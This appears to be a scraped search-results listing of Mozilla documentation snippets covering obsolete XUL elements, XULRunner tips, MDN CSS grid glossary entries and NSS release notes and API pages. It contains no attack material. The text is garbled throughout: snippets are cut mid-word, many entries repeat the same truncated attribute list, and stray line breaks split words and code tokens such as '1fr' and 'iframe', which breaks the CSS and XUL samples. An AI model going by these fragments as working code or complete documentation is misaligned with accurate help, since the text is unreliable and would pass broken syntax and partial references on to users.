from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
dropmarker - Archive of obsolete content
examples properties accessibletype attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i i
frame image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcor...
grid - Archive of obsolete content
l value="user name"/> <textbox id="user"/> </row> <row> <label value="group"/> <menulist> <menupopup> <menuitem label="accounts"/> <menuitem label="sales" selected="true"/> <menuitem label="support"/> </menupopup> </menulist> </row> </rows> </grid> </groupbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
grippy - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, sty...
groupbox - Archive of obsolete content
properties accessibletype examples <groupbox> <caption label="settings"/> <radiogroup> <radio label="black and white"/> <radio label="colour"/> </radiogroup> <checkbox label="enabled"/> </groupbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
hbox - Archive of obsolete content
example <!-- two button on the right --> <hbox> <spacer flex="1"/> <button label="connect"/> <button label="ping"/> </hbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
keyset - Archive of obsolete content
attributes disabled examples <keyset> <key id="sample-key" modifiers="shift" key="r"/> </keyset> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sor...
listcol - Archive of obsolete content
column flexible --> <listbox> <listhead> <listheader label="first"/> <listheader label="last"/> </listhead> <listcols> <listcol flex="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
listcols - Archive of obsolete content
example <!-- creates a two column listbox --> <listbox> <listcols> <listcol flex="1"/> <listcol flex="1"/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
listhead - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
listheader - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
member - Archive of obsolete content
properties child, container examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
popupset - Archive of obsolete content
examples <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <label value="right click for popup" context="clipmenu"/> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
preferences - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
query - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
queryset - Archive of obsolete content
attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties i...
resizer - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
row - Archive of obsolete content
attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
rows - Archive of obsolete content
attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
scrollbar - Archive of obsolete content
attributes curpos, increment, maxpos, pageincrement examples <scrollbar curpos="5" maxpos="50"/> attributes curpos type: integer the current position of the scrollbar, which ranges
from 0 to the value of the maxpos attribute.
scrollbox - Archive of obsolete content
attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
scrollcorner - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width pr...
separator - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
spacer - Archive of obsolete content
examples <box> <button label="left"/> <spacer flex="1"/> <button label="right"/> </box> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
spinbuttons - Archive of obsolete content
attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
stack - Archive of obsolete content
--> </hbox> </stack> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
statusbar - Archive of obsolete content
properties accessibletype examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
stringbundleset - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowe...
tabpanel - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, s...
tabpanels - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
textnode - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
titlebar - Archive of obsolete content
er/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened
from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0") attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, ma...
toolbargrippy - Archive of obsolete content
properties accessible examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
toolbaritem - Archive of obsolete content
<menuitem label="bus" selected="true"/> <menuitem label="train"/> </menupopup> </menulist> </toolbaritem> <toolbaritem id="sample-toolbutton-unified"> <toolbarbutton id="myext-button1" class="toolbarbutton-1" label="label1" /> <toolbarbutton id="myext-button2" class="toolbarbutton-1" label="labe2l" /> </toolbaritem> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
toolbarpalette - Archive of obsolete content
examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltiptext="&mytiptext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
toolbarseparator - Archive of obsolete content
properties accessibletype examples <toolbox> <toolbar> <toolbarbutton label="button 1"/> <toolbarseparator /> <toolbarbutton label="button 2"/> </toolbar> </toolbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
toolbarset - Archive of obsolete content
examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wai...
toolbarspacer - Archive of obsolete content
properties accessibletype examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties ...
toolbarspring - Archive of obsolete content
properties accessibletype examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
toolbox - Archive of obsolete content
oolbox> <toolbar> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton label="stop"/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="we have two toolbars inside of one toolbox above." width="20"/> </window> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
treechildren - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
treecols - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
treerow - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
treeseparator - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
triple - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
vbox - Archive of obsolete content
example <!-- two labels at bottom --> <vbox> <spacer flex="1"/> <label value="one"/> <label value="two"/> </vbox> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
where - Archive of obsolete content
inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
Using LDAP XPCOM with XULRunner - Archive of obsolete content
srcdir = @srcdir@ topsrcdir = @top_srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = mozldapstub library_name = mozldap_stub is_component = 1 force_shared_lib = 1 requires = \ xpcom \ string \ $(null) cppsrcs = ldapstubloader.cpp extra_dso_ldopts += \ $(dist)/lib/$(lib_prefix)xpcomglue_s.$(lib_suffix) \ $(xpcom_
frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" ldapstubloader.cpp: // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdependentlibraries[]...
Make your xulrunner app match the system locale - Archive of obsolete content
from xpcom import components ps_cls = components.classes["@mozilla.org/preferences-service;1"] ps = ps_cls.getservice(components.interfaces.nsiprefservice) branch = ps.getbranch("general.useragent.") branch.setcharpref("locale", lang) i also set the language environment variable to match the system locale so that python's gettext functionality will work (it pulls straight
from language instead of u...
Opening a Link in the Default Browser - Archive of obsolete content
this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("http")) { // handler for http:// urls exists } link within an i
frame to enable a link inside an html document that is the "src" of an i
frame to be opened in the default browser, setting the preference: pref("network.protocol-handler.expose-all", false); seems to work.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 1
fr 1
fr 1
fr; grid-template-rows: 100px 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> <div>eight</div> </div> ...
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1
fr); grid-template-rows: 100px 100px; grid-template-areas: "a a b" "a a b"; } .item1 { grid-area: a; } .item2 { grid-area: b; } <div class="wrapper"> <div class="item1">item</div> <div class="item2">item</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns grid-template-areas grid-area further rea...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1
fr); grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns further reading css grid layout guide: basic concepts of grid layout definition of grid cells in the css grid layout specif...
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #fff8f8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2
fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> in terms of grid sizing, gaps act as if they were a regular grid track however nothing can be placed into the gap.
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
et /example.http http/1.1 host: example.com redirects have mandatory headers (location): 302 found location: /newpage.html a typical set of headers: 304 not modified access-control-allow-origin: * age: 2318192 cache-control: public, max-age=315360000 connection: keep-alive date: mon, 18 jul 2016 16:06:00 gmt server: apache vary: accept-encoding via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloud
front.net (cloud
front) x-amz-cf-id: tol0fem6ui4fgldrkjx0vao5hpkkgzulyn2twd2gawltr7vlnjtvzw== x-backend-server: developer6.webapp.scl3.mozilla.com x-cache: hit
from cloud
front x-cache-info: cached ...
NSS 3.43 release notes
t bug 1528262 - add a -j option to the strsclnt command to specify sigschemes bug 1513909 - add manual for nss-policy-check bug 1531074 - fix a deref after a null check in seckey_setpublicvalue bug 1517714 - properly handle esni with hrr bug 1529813 - expose hkdf-expand-label with mechanism bug 1535122 - align tls 1.3 hkdf trace levels bug 1530102 - use getentropy on compatible versions of
freebsd.
NSS 3.44.1 release notes
3.44.1 new functionality 1546229 - add ipsec ike support to softoken many new fips test cases (note: this has increased the source archive by approximately 50 megabytes for this release.) bugs fixed in nss 3.44.1 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's
from key material during pkcs11 import (cve-2019-11719) 1515236 - add a sslkeylogfile enable/disable flag at build.sh 1473806 - fix seckey_converttopublickey handling of non-rsa keys 1546477 - updates to testing for fips validation 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorithms in tls 1.3 (cve-2019-11727) 1551041 - unbreak build on gcc < 4.3 big-endian compa...
NSS 3.47.1 release notes
bugs fixed in nss 3.47.1 cve-2019-11745 - encryptupdate should use maxout, not block size bug 1590495 - fix a crash that could be caused by client certificates during startup bug 1589810 - fix compile-time warnings
from uninitialized variables in a perl script this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49.2 release notes
bug 1608327 - fix compilation problems with neon-specific code in
freebl bug 1608895 - fix a taskcluster issue with python 2 / python 3 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.51 release notes
bug 1538980 - secu_readder
fromfile calls strstr on a string that isn't guaranteed to be null-terminated bug 1561337 - correct a warning for comparison of integers of different signs: 'int' and 'unsigned long' in security/nss/lib/
freebl/ecl/ecp_25519.c:88 bug 1609751 - add test for mp_int clamping bug 1582169 - don't attempt to read the fips_enabled flag on the machine unless nss was built with fips enabled bug 1431940 - ...
nss tech note2
using the pkcs #11 module logger nss technical note: 2 modes of operation extracting output
from log files the logger displays all activity between nss and a specified pkcs #11 module.
NSS Third-Party Code
compiled in sqlite [/lib/sqlite] berkleydb [/lib/dbm] zlib [/lib/zlib] libjar [/lib/jar] fiat-crypto, ring [lib/
freebl/ecl] used for tests gtest [/gtests] downloaded by certain test tooling tlsfuzzer [/tests/tlsfuzzer] bogo tests [/tests/bogo] boringssl, openssl [/tests/interop] ...
PKCS #11 Module Specs
tokens=<0x03=[configdir=configdir tokendescription=fipstokendescription slotdescription=fipsslotdescription certprefix=certprefix keyprefix=keyprefix flags=flags minpwlen=minpwlen]> where configdir, cryptotokendescription, cryptoslotdescription, dbtokendescription, dbslotdescription, fipstokendescription, fipsslotdescription, optimizespace, certprefix, keyprefix, flags, and minpwlen are copied
from the parameters above.
Build instructions
(the
free edition works, and other versions like visual studio 2008 and visual studio 2012 may also work.) use start-shell-msvc2010.bat
from mozillabuild to get a bash shell with the path already configured, and execute these instructions
from within that bash shell.
Migration to HG
for nspr, "mozilla/nsprpub" has been removed
from the directory hierarchy, all files now live in the top directory of the nspr repository.
Sample manual installation
for example, <obj-dir> for a debug build of nss on the x86 platform with a linux kernel version 2.6 with glibc would be: linux2.6_x86_glibc_pth_dbg.obj
from these directories, you can copy the files to any system (or other) directory.
FC_DeriveKey
name fc_derivekey - derive a key
from a base key syntax ck_rv fc_derivekey( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_object_handle hbasekey, ck_attribute_ptr ptemplate, ck_ulong usattributecount, ck_object_handle_ptr phkey ); parameters hsession [in] session handle.
FC_Logout
name fc_logout - log a user out
from a token.
FC_SetOperationState
description fc_setoperationstate restores the cryptographic operations state of a session
from an array of bytes obtained with fc_getoperationstate.
nsAutoRefTraits
when the handle to the resource is a pointer to t the specialization may be derived
from nspointerreftraits<t>, so that only definitions of the release(t*) static method and possibly the addref(t*) static method need to be added.
nsDependentCSubstring
@see nstsubstring::isvoid parameters prbool <anonymous> stripchar void stripchar(char, print32) - source this method is used to remove all occurrences of achar
from this string.
nsDependentSubstring
@see nstsubstring::isvoid parameters prbool <anonymous> stripchar void stripchar(prunichar, print32) - source this method is used to remove all occurrences of achar
from this string.
IAccessibleComponent
